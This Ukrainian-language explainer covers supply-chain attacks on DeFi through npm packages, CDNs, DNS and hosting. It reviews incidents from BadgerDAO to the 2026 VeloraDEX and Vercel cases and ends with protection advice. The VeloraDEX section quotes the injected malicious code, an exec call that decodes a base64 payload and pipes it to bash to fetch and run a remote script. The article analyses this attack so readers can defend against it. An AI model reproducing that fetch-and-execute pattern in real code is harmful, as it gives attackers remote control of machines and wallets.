Supply chain атаки у DeFi: як хакери грабують через довірену інфраструктуру

Коротко (TL;DR)

Supply chain атака — це злам інфраструктури, якій довіряє DeFi-протокол: npm-пакет, CDN, DNS, хостинг фронтенду чи сторонній підрядник. Смарт-контракти при цьому лишаються чистими. Зловмисник змінює параметри транзакції до того, як ви натиснете «Підписати» — і ви відправляєте гроші хакеру, думаючи, що все гаразд.

Головне для користувача: завжди перевіряйте адресу призначення й суму в самому гаманці, а не лише в інтерфейсі сайту. Якщо параметри не збігаються — скасовуйте.

Нижче — механіка атаки, три її вектори та розбір семи реальних інцидентів 2021–2026 (від BadgerDAO на $120M до хвилі npm-зламів 2026 року), а далі — конкретні кроки захисту.

Що таке supply chain атака у крипто

Слово «ланцюг поставок» прийшло з промисловості: якщо в автомобілі зламано один постачений компонент, це б’є по всьому конвеєру. У крипто те саме, тільки компонент — це код.

BINANCEПризи від $40KПоки крипта лежить, інші торгують за гаджети та крипто-нагороди. Долучайся.ДО ТОРГІВЛІ

Проста аналогія: ви робите замовлення в ресторані, який закуповує продукти у перевіреного постачальника. Але постачальника зламали й підклали неякісний інгредієнт. Шеф-кухар не знає, ви не знаєте — і отруєння стається не в ресторані, а ще на складі.

Холодний гаманець для криптовалюти: види, налаштування та ризики

США вперше взяли під контроль випуск топових AI-моделей: від Project Glasswing до GPT-5.6

Polymarket зламаний через підрядника: хакери вкрали ~$3 млн, повернення обіцяне

Ти не інсайдер — ти «вихідна ліквідність»: як розпізнати накачку токена і не потрапити

MemeCore впав на 80%: $3 млрд зникли без жодного злому

У DeFi «ресторан» — це протокол або гаманець, «постачальник» — npm-пакет, CDN-сервер, DNS-реєстратор, хостинг фронтенду чи агенція-розробник. Схематично ланцюг має такий вигляд:

DeFi-протокол → тягне npm-бібліотеку (або скрипт із CDN)
Користувач → відкриває фронтенд → підписує транзакцію

Якщо хакер компрометує ланку «npm-бібліотека» або «CDN-сервер», він отримує доступ до кожного користувача кожного протоколу, який використовує цю ланку — без зламу самого протоколу.

Чим це відрізняється від звичайного зламу контракту

Більшість людей думає: «аудит пройшов — отже безпечно». Це справедливо для самого контракту. Але supply chain атака працює поверх контракту:

Аудит смарт-контрактів перевіряє, чи правильно виконується код контракту. Він не перевіряє npm-пакети, CDN-сервери, DNS-записи чи інфраструктуру вище по стеку.

Життєвий цикл атаки: 5 етапів

Класичний ланцюг має такий вигляд (на основі аналізу реальних інцидентів):

Етап 1 — Захоплення точки в інфраструктурі Атакувальник знаходить вразливість у залежності: зламує акаунт npm-мейнтейнера, отримує API-ключ CDN-сервісу, викрадає DNS-запис, компрометує стороннього розробника. Контракт не чіпають.

BINANCEПризи від $40KПоки крипта лежить, інші торгують за гаджети та крипто-нагороди. Долучайся.ДО ТОРГІВЛІ

Етап 2 — Тихе поширення Шкідливий код автоматично поширюється на всі протоколи й користувачів, які тягнуть цю залежність. Без попереджень, без видимих змін.

Етап 3 — Підміна параметрів транзакції Коли ви ініціюєте транзакцію, шкідливий код перехоплює її в браузері — змінює адресу призначення, розширює дозвіл на токени, змінює суму. Інтерфейс сайту показує вам «чесну» транзакцію, гаманець просить підписати вже змінену.

Етап 4 — Користувач підписує З погляду блокчейну транзакція валідна: ви самі її підписали. Це й є головна пастка — юридично й технічно ви «погодилися».

Етап 5 — Виведення коштів Гроші йдуть на гаманець атакувальника. Смарт-контракт виконався як задумано. Компрометацію виявляють уже після втрат.

Три вектори атаки: npm, CDN і хостинг

У життєвого циклу вище є три основні «точки входу» — три способи, якими шкідливий код потрапляє до користувача. Кожен відповідає за свою групу реальних інцидентів:

Чим ці вектори підступні зсередини:

Registry-only poisoning (npm/PyPI). Атакувальник отримує доступ до акаунта мейнтейнера → публікує нову версію пакета зі шкідливим кодом → усі, хто підтягують залежність (розробники, CI/CD, торгові боти), виконують payload. Головний неочевидний момент: GitHub-репозиторій може бути цілком чистим. Атака живе в розриві між git push і npm publish — між тим, що в джерельному коді, і тим, що в опублікованому архіві пакета. Звичайний аудит репозиторію такої підміни не бачить.

CDN / frontend injection. Протоколи підключають бібліотеки з CDN, щоб не оновлювати свій код за кожного патчу залежності. Зручно — і небезпечно: якщо CDN-версію скомпрометовано, усі користувачі всіх dApp, які її вантажать, миттєво отримують шкідливий код за наступного відкриття сайту. Свій код міняти не треба — зараження приходить саме.

Hosting provider attack. Якщо атакувальник отримує доступ до деплою хостингу, він може вбудувати шкідливий код прямо в опублікований фронтенд. Особливість: OAuth-токени доступу не анулюються за зміни пароля жертви, тому компрометація може тягтися місяцями непомітно.

Сім гучних інцидентів 2021–2026

BadgerDAO — грудень 2021, $120M

2 грудня 2021 року користувачі BadgerDAO почали помічати, що їхні дозволи на токени йдуть на сторонню адресу. Вразливість була не в протоколі.

Атакувальник отримав API-ключ Cloudflare — сервісу захисту та CDN, який використовував BadgerDAO. Ключ створили без відома розробників проєкту. З його допомогою зловмисник періодично, за розкладом, вбудовував шкідливий JavaScript-фрагмент — код з’являвся і зникав, що ускладнювало виявлення. Атака тривала кілька тижнів, скрипт підсовували поступово, а жертв відбирали за максимальним балансом. Скрипт перенаправляв дозволи на токени (token approvals) з гаманців користувачів на адресу атакувальника.

За даними CoinDesk (станом на 10 грудня 2021 року), хакер вивів $130M у токенах — $120M втрачено безповоротно, ще ~$9M вдалося заморозити у сховищах, бо кошти не встигли піти з vault-контрактів. Команда залучила Mandiant і Chainalysis, а також звернулася до американських і канадських правоохоронних органів. Cloudflare-експлойт закрили, API-ключі ротували — але грошей не повернули.

Чому апаратний гаманець не врятував. Користувачі з Ledger чи Trezor бачили на екрані запит підпису, але без ясного підпису (clear signing) не розуміли, що саме підписують. Читані параметри транзакції відображалися лише в інтерфейсі браузера — а він уже був скомпрометований.

Масштаб втрат став можливим саме через механіку дозволів (approvals): багато користувачів раніше видали протоколу безлімітний доступ до своїх токенів. Цей approval продовжував працювати навіть у тих, хто жодного разу не заходив на сайт у день атаки. Регулярний аудит і відкликання застарілих дозволів — один із ключових уроків інциденту. Докладніше про те, як працюють approvals і де їх відкликати, — у нашому гайді з безпеки гаманця.

Урок: інфраструктура — це теж поверхня атаки. CDN, cloud-платформи, DDoS-захист — усе це потребує аудиту доступів не рідше, ніж смарт-контракт.

Curve Finance — серпень 2022, $612K

9 серпня 2022 року DNS-запис curve.fi зламали, і він почав указувати на клон сайту зі шкідливим кодом. Користувачі, які заходили за звичною адресою, бачили оригінальний інтерфейс — але код запитував дозвіл на токени для неперевіреного контракту.

За даними CertiK (станом на 10 серпня 2022 року): 7 унікальних жертв, $612 724 в USDC і DAI. Викрадені кошти конвертували через децентралізовані платформи — частину вдалося заморозити завдяки оперативним діям сервісів. CertiK підтвердив закриття вектора атаки впродовж кількох годин після виявлення.

Урок: HTTPS і оригінальна адреса — не гарантія. DNS-злам робить справжню адресу небезпечною.

Ledger Connect Kit — грудень 2023, $484K–$610K

Ledger Connect Kit — це JavaScript-бібліотека (@ledgerhq/connect-kit), через яку десятки dApp підключають гаманці Ledger. 14 грудня 2023 року її npm-пакет було скомпрометовано.

За допомогою фішингу атакувальник отримав доступ до акаунта колишнього співробітника Ledger, який зберігав права на публікацію пакета в npm: цей доступ так і не відкликали після звільнення — автоматичне відключення акаунтів за офбордингу не охоплювало зовнішні інструменти на кшталт npm. Один пропущений рядок у чек-листі звільнення відкрив вектор атаки.

Зловмисник опублікував версії 1.1.5, 1.1.6 і 1.1.7 з вбудованим wallet drainer — Angel Drainer, дрейнер «як сервіс» (malware-as-a-service) для EVM-мереж, який автоматично створює транзакції на виведення коштів. Схема доходу атакувальників була типовою для MaaS: 85% — експлойтеру, 15% — сервісу Angel Drainer.

Чому масштаб був таким великим? Річ у символі ^ у файлах залежностей JavaScript. Запис ^1.1.4 у package.json означає: «автоматично підтягуй будь-яку наступну сумісну версію» — тобто 1.1.5, 1.1.6 тощо. Розробники так роблять для зручності. Але за supply chain атаки саме цей символ стає вектором: щойно виходить шкідлива 1.1.5, усі проєкти з ^1.1.4 підтягують її за наступного складання чи CDN-запиту. Будь-який DeFi-сайт, що підключав Connect Kit з CDN без фіксації точної версії, автоматично отримав шкідливий код. Постраждали Sushi, Lido, Zapper, Revoke.cash, Kyber Network та інші.

Хронологія була швидкою: усього ~5 годин від компрометації до усунення, активного дрейну — менш ніж 2 години; Tether устигла заморозити USDT на адресі атакувальника. За офіційними даними Ledger втрати склали близько $484K, за незалежною оцінкою safeguard.sh — близько $610K з урахуванням транзакцій із затримкою. CDN-кеш роздавав шкідливі версії ще певний час після розгортання чистої.

Payload працював особливо хитро: міняв параметри транзакції до підпису в гаманці. Користувач бачив в інтерфейсі одне, а пристрій Ledger підписував інше — це і є «сліпий підпис» (blind signing), про який нижче.

Урок: звільнений співробітник із непогашеним доступом = незакрита вразливість, а піннінг версій npm — не опція, а мінімальна гігієна.

dYdX — npm + PyPI, лютий 2026

6 лютого 2026 року команда Socket Security виявила, що офіційні пакети dYdX одразу у двох реєстрах скомпрометовані:

• npm (@dydxprotocol/v4-client-js) — шкідлива версія крала credential гаманця;
• PyPI (dydx-v4-client) — окрім крадіжки credential, містила RAT (Remote Access Trojan) для повного віддаленого доступу до машини.

Обидва пакети були опубліковані від імені довірених мейнтейнерів — тобто прийшли з офіційних акаунтів dYdX у реєстрах, при цьому GitHub-репозиторій лишався чистим. Класичний registry-only вектор. dYdX публічно визнав інцидент і рекомендував: ізолювати заражені машини, перевести кошти на нові гаманці, ротувати всі API-ключі.

VeloraDEX SDK — registry-only, квітень 2026

7 квітня 2026 року о 19:03 UTC на npm опублікували версію @velora-dex/sdk@9.4.1. VeloraDEX (колишній ParaSwap) — DEX-агрегатор з $100+ млрд історичного обсягу; його SDK використовують гаманці, торгові боти й dApp.

Механіка: три рядки коду дописали на початок dist/index.js — основного файлу пакета. GitHub-репозиторій лишався абсолютно чистим: атакувальник змінив лише архів (tarball) у npm-реєстрі, не чіпаючи джерельний код.

const {exec} = require('child_process');
exec(`echo 'bm9odXAg...' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function() {});

Декодований payload завантажував install.sh із сервера в Бухаресті (M247 Europe, AS9009) через curl і запускав його через bash з nohup. Чому це особливо небезпечно:

• код запускався за кожного імпорту пакета (не лише за встановлення) — тобто охоплював CI/CD, торгові боти, кожен перезапуск сервера;
• прапорець --ignore-scripts (стандартний захист npm) не блокував payload: він вимикає лише postinstall-хуки, але не код у dist/index.js;
• джерело на GitHub мало чистий вигляд, тому звичайний аудит репозиторію атаку не знаходив.

Версію помітили приблизно через 3 години (GitHub Issue #233 о 21:51 UTC), позначили deprecated, але видалили не одразу.

Vercel — інфраструктурний вектор, квітень 2026

19 квітня 2026 року Vercel розкрив атаку: приховане проникнення в інфраструктуру тривало близько 22 місяців — тобто почалося ще у 2024 році. Vercel — один із головних хостингів DeFi-фронтендів: на ньому через Next.js деплояться Uniswap, SushiSwap, Compound, Aave та багато інших.

Фінальний ланцюг, який у лютому 2026 року дав атакувальникам доступ до акаунта Vercel, показовий тим, як далеко від крипти може починатися:

1. Лютий 2026: співробітник Context.ai (AI-інструмент для продуктивності) заразився Lumma Stealer через чити до Roblox.
2. Малвар викрав Google Workspace credentials, токени Supabase і Datadog.
3. Шкідливе Chrome-розширення отримало повний доступ до Google Drive жертви.
4. Співробітник Vercel раніше підключив робочий Google-акаунт до Context.ai з дозволом «Allow All» — і атакувальник через OAuth-токен зайшов у його акаунт Vercel без пароля (OAuth-токени переживають зміну пароля).

Що викрадено: змінні середовища клієнтів (API-ключі RPC-провайдерів, GitHub-токени, NEXTAUTH_SECRET, рядки підключення до БД), частини джерельного коду, дані 580 співробітників. Вимога — $2 млн у Bitcoin (атрибуцію до ShinyHunters сама група заперечує). Vercel підтвердив, що npm-пакети (Next.js, Turbopack) не скомпрометовані, а прямого зламу DeFi-гаманців не зафіксовано. Але якби атакувальники отримали GitHub-токени деплою, вони могли б вбудувати шкідливий код у фронтенд і запустити автодеплой — тому кейс потрапив до списку як «постріл, що не спрацював» по всій екосистемі.

Polymarket — червень 2026, ~$3M

Свіжий кейс: наприкінці червня 2026 року маркетплейс прогнозів Polymarket втратив близько $3M у менш ніж 15 користувачів (за даними Decrypt станом на 25 червня 2026 року). Вектор — компрометація стороннього підрядника, який отримав доступ до фронтенду; через нього вбудували шкідливий скрипт.

Це вже другий інцидент за два місяці: у травні 2026 року Polymarket втратив $700K через компрометацію гаманця співробітника. Сигнал: передбачувальні ринки перетворюються на пріоритетну ціль — великі гаманці, висока активність і часто слабші процедури безпеки, ніж у топ-DEX.

Сліпий і ясний підпис: чому hardware wallet не завжди рятує

Багато хто думає: «у мене Ledger — я в безпеці». Це не завжди так.

Сліпий підпис (blind signing) — це коли гаманець показує лише шістнадцяткові дані транзакції або короткий опис без деталей. Ви натискаєте «Підтвердити», не бачачи реальної адреси призначення, суми чи того, який ERC-20 approval видаєте.

За supply chain атаки малвар підміняє параметри ще в браузері — до того, як дані йдуть у гаманець. Гаманець чесно показує те, що отримав: уже змінену транзакцію. Якщо ви її не читаєте — ви підписуєте крадіжку.

Ясний підпис (clear signing) — сучасний стандарт (EIP-712, реалізований у нових прошивках Ledger і підтримуваний через плагіни): гаманець показує повні людиночитані деталі — конкретну адресу, точну суму, ліміт approval. За такого формату підміна видно одразу.

Чому це особливо небезпечно саме у DeFi

У традиційній кібербезпеці компрометація інфраструктури — це витік даних або тимчасова втрата доступу до сервісу. У DeFi наслідок інший: крадіжка коштів незворотна.

Немає кнопки «скасувати транзакцію». Немає служби підтримки, яка заморозить рахунок. Немає страхування вкладів. Щойно приватний ключ чи seed-фраза потрапляють до атакувальника — кошти йдуть за секунди. Якщо ви лише знайомитеся з тим, як влаштовані децентралізовані біржі, почніть з нашого пояснювача про DEX: як працює AMM, що таке impermanent loss і як безпечно користуватися dApp.

Окремо вразливі розробники DeFi — їхні робочі середовища містять:

• приватні ключі гаманців із реальними коштами (для тестів і торгових ботів);
• seed-фрази у змінних середовища;
• ключі RPC-провайдерів (Alchemy, Infura);
• GitHub-токени з правами деплою.

Одна скомпрометована залежність = доступ до всього цього. Тому атакувальники дедалі частіше цілять не в користувача напряму, а в розробника та його інфраструктуру.

Як захиститися користувачу: 6 правил

1. Завжди перевіряйте дані в самому гаманці, а не в інтерфейсі сайту

Головний принцип. Перед підписом читайте: адресу призначення, суму токенів і розмір approval. Якщо в гаманці щось інше, ніж ви бачите на сайті, — негайно скасовуйте. Для ERC-20 approve окремо звіряйте адресу spender і суму: безлімітний дозвіл (максимальне число) — червоний прапорець.

2. Користуйтеся гаманцями з підтримкою clear signing

Для регулярної роботи з DeFi обирайте гаманці й протоколи з підтримкою EIP-712 і людиночитаних деталей транзакції. Це не гарантія, але суттєво знижує ризик непомітної підміни.

3. Не давайте безлімітних approvals

Багато протоколів запитують безлімітний дозвіл («Approve unlimited»). Це зручно, але критично небезпечно: один скомпрометований сайт через такий approval може спустошити все, що в ньому є, — навіть якщо ви туди більше не заходите. Встановлюйте точну потрібну суму.

Регулярно перевіряйте й відкликайте непотрібні approvals. Покроковий розбір — як перевірити активні дозволи й безпечно їх закрити — у нашому гайді з approvals і безпеки гаманця.

4. Не поспішайте за великих транзакцій

Атаки працюють на увагу й поспіх. Перед великим переказом чи стейкінгом зробіть паузу, відкрийте свіже приватне вікно, перевірте URL і двічі звірте дані в гаманці.

5. Стежте за офіційними каналами протоколів

За інциденту команди попереджають у Discord, X (Twitter) і Telegram; швидкі алерти дають і акаунти безпеки — PeckShield, CertiK Alerts, BlockSec. Під час кризи не робіть жодних транзакцій із протоколом, доки не прочитаєте офіційне підтвердження про усунення. Саме це допомогло б багатьом жертвам Ledger і Curve Finance.

6. Не зберігайте все в одному гаманці

Розділяйте: основний холодний гаманець — для довгострокового зберігання, окремий «робочий» гарячий — для DeFi з обмеженою сумою. Якщо робочий скомпрометовано через supply chain атаку, втрата обмежена цією сумою, а не всім капіталом. Як правильно організувати зберігання і чому seed-фраза важливіша за сам пристрій — у гайді з безпечного зберігання seed-фрази.

Для трейдингу на надійній CEX вразливість фронтенду не зачіпає ваші кошти напряму — біржі ізолюють клієнтські активи. На Binance реалізовано багаторівневу авторизацію й холодні сховища — це принципово інший профіль ризику порівняно із самостійною роботою в DeFi.

Що роблять протоколи й розробники

Захист користувача — половина справи; другу половину закривають команди протоколів. Екосистема реагує, хоч і повільно:

На рівні npm:

• npm provenance — криптографічна прив’язка опублікованого артефакту до конкретного GitHub-коміту. Розв’язує проблему registry-only атак (як із VeloraDEX), але стандарт добровільний, і більшість пакетів його поки не використовує (станом на червень 2026 року).
• Мультиавторизацію для публікації пакетів npm поки не підтримує.

На рівні фронтендів:

• Content Security Policy (CSP) обмежує, з яких доменів можна вантажити скрипти на сторінку, — але практичне впровадження нерівномірне.
• Subresource Integrity (SRI) — хеш ресурсу прямо в HTML; браузер відмовиться виконати змінену версію. Це могло б зупинити атаку Ledger Connect Kit.

На рівні підпису:

• Clear Signing (Ledger) показує параметри транзакції на екрані пристрою, а не в браузері.
• Симуляція транзакцій (Tenderly, Blowfish) дає попередній перегляд результату перед підписом.

Для розробників:

• піннінг залежностей точними версіями (не ^9.4.x, а 9.4.0) і порівняння lockfile-діфу перед апгрейдом;
• ізоляція приватних ключів від dev-середовища — апаратні гаманці для всього, що тримає реальні кошти;
• моніторинг залежностей (Socket Security, Snyk) з алертами на підозрілі зміни в пакетах.

Хто і чим ризикує: учасники екосистеми

Supply chain атаки б’ють по різних учасниках по-різному:

Ключові терміни: що стоїть за абревіатурами

У статтях і документації за темою трапляється набір технічних термінів. Короткий словничок для не-розробників:

SRI (Subresource Integrity) — механізм браузера: розробник прописує в коді криптографічний хеш кожного зовнішнього скрипту. За завантаження файлу (наприклад, з CDN) браузер перераховує хеш і порівнює; не збіглося — файл не запускається. Це зупинило б атаку Ledger: змінений CDN-файл дав би інший хеш.

CSP (Content Security Policy) — HTTP-заголовок, яким сайт білим списком указує браузеру, з яких доменів можна вантажити JavaScript. Скрипт із недозволеного домену блокується ще до виконання.

npm pinning — практика вказувати точну версію залежності (1.1.4), а не діапазон (^1.1.4). Ефективна лише в парі з package-lock.json/yarn.lock, який фіксує весь граф залежностей.

npm provenance — криптографічний доказ того, що опублікований пакет зібрано з конкретного коміту в репозиторії. Закриває «registry-only» підміну, коли GitHub чистий, а в npm лежить шкідлива версія.

Wallet drainer — шкідливий код у фронтенді чи npm-пакеті; після активації в браузері він модифікує параметри транзакцій або запитує approval, що дає атакувальнику витягувати кошти. Часто продається «як сервіс» (MaaS, наприклад Angel Drainer).

Ризики і чесна картина

Supply chain атаки реальні, але паніка контрпродуктивна. Кілька уточнень:

Для звичайного користувача ризик керований. Більшість жертв — активні DeFi-трейдери з великими позиціями. Якщо ви користуєтеся великою біржею або просто купуєте й тримаєте у перевіреному гаманці, профіль ризику незрівнянно нижчий.

Галузь реагує. Інцидент Ledger пришвидшив перехід на clear signing. Великі протоколи впроваджують SRI і CSP. З’являється npm provenance. Інфраструктура стає безпечнішою, хоч і повільно.

Є ризики, про які рідко говорять:

• «Хибна чистота» GitHub: перевіряти лише репозиторій безглуздо — реєстр npm і GitHub різні системи, атака живе в реєстрі (dYdX, VeloraDEX).
• CDN як єдина точка відмови: Ledger Connect Kit одночасно використовували десятки dApp — одна компрометація миттєво зачепила всіх їхніх користувачів.
• Централізація фронтендів: більшість топ-протоколів (Uniswap, SushiSwap, Compound, Aave) хостяться у пари провайдерів (Vercel, Netlify) — це системний ризик для всієї екосистеми.
• OAuth переживає зміну пароля: якщо зловмисник отримав OAuth-токен через скомпрометований сторонній застосунок, зміна пароля його не відкличе (кейс Vercel).

Аудити все одно потрібні. Supply chain атаки не скасовують важливості аудиту смарт-контрактів — це додаткові шари захисту, не взаємозамінні.

FAQ

Чим supply chain атаки відрізняються від звичайного фішингу?

За фішингу вас обманом заводять на підроблений сайт з іншим або схожим доменом. За supply chain атаки ви на справжньому сайті з правильною адресою — але сам сайт заражений зсередини через його залежність чи підрядника. Це складніше виявити: антивірус мовчить, адреса правильна, SSL-сертифікат справжній. Захищає лише звичка читати параметри транзакції в гаманці, а не довіряти інтерфейсу сайту.

Чи допоможе апаратний гаманець (Ledger, Trezor) проти таких атак?

Частково. Hardware wallet захищає приватні ключі від видобуття, але не від підміни транзакції до її відправлення в пристрій. Саме так спрацювали BadgerDAO і Ledger Connect Kit: гаманець чесно показував уже змінені дані. Реальний захист — clear signing (коли пристрій показує людиночитані деталі) плюс звичка їх читати перед підтвердженням.

Якщо GitHub-репозиторій пакета чистий, хіба він не безпечний?

Ні — це одна з головних оман. dYdX і VeloraDEX показали: атакувальник публікує в npm чи PyPI версію, якої немає в репозиторії. Атака живе в розриві між джерельним кодом і опублікованим архівом. Завжди звіряйте версію в реєстрі з останнім тегом на GitHub і за можливості довіряйте пакетам з npm provenance.

Чому --ignore-scripts не допоміг проти атаки VeloraDEX?

--ignore-scripts вимикає lifecycle-хуки (postinstall, prepare тощо) — те, що запускається за npm install. Шкідливий код VeloraDEX лежав у dist/index.js — файлі, який виконується за import/require пакета, тобто за запуску застосунку, а не за встановлення. На це прапорець ніяк не впливає.

Чому атака на Vercel лишалася непоміченою ~22 місяці?

OAuth-токени не анулюються за зміни пароля. Співробітник Vercel не знав, що його робочий Google-акаунт пов’язаний зі скомпрометованим стороннім сервісом (Context.ai) із широкими правами. Тому періодичний перегляд OAuth-підключень (Google → Security → Third-party apps) — важлива гігієна для всіх, не лише для розробників.

Чому передбачувальні ринки (Polymarket) стали ціллю у 2026 році?

Великі користувацькі гаманці, висока ліквідність і часто молодша команда безпеки, ніж у топ-DEX. Два інциденти за травень–червень 2026 року ($700K і $3M) — не випадковість, а патерн: атакувальники обирають майданчики з кращим співвідношенням «здобич / складність зламу».

Що робити, якщо я щойно підписав підозрілу транзакцію?

Дійте негайно: (1) відкрийте Revoke.cash чи Etherscan Token Approvals і відкличте всі approvals на підозрілу адресу; (2) переведіть решту активів на іншу адресу, що не контактувала зі скомпрометованим сайтом; (3) перевірте офіційні канали протоколу — там уже може бути попередження; (4) не робіть нових транзакцій із зачепленого гаманця, доки не розберетеся.